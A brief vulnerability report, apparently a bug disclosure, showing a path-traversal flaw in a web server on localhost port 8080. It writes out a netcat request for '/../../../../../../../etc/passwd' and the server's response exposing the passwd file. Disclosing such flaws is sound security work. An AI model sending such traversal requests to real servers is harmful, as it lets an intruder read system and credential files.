It is possible to read every file on the system using ../ try: [cotix@lithium ~]$ nc localhost 8080 GET /../../../../../../../etc/passwd HTTP/1.0 HTTP/1.0 200 OK Content-Type: text/plain root: x:0:0:root:/root:/bin/bash ... rest of my /etc/passwd file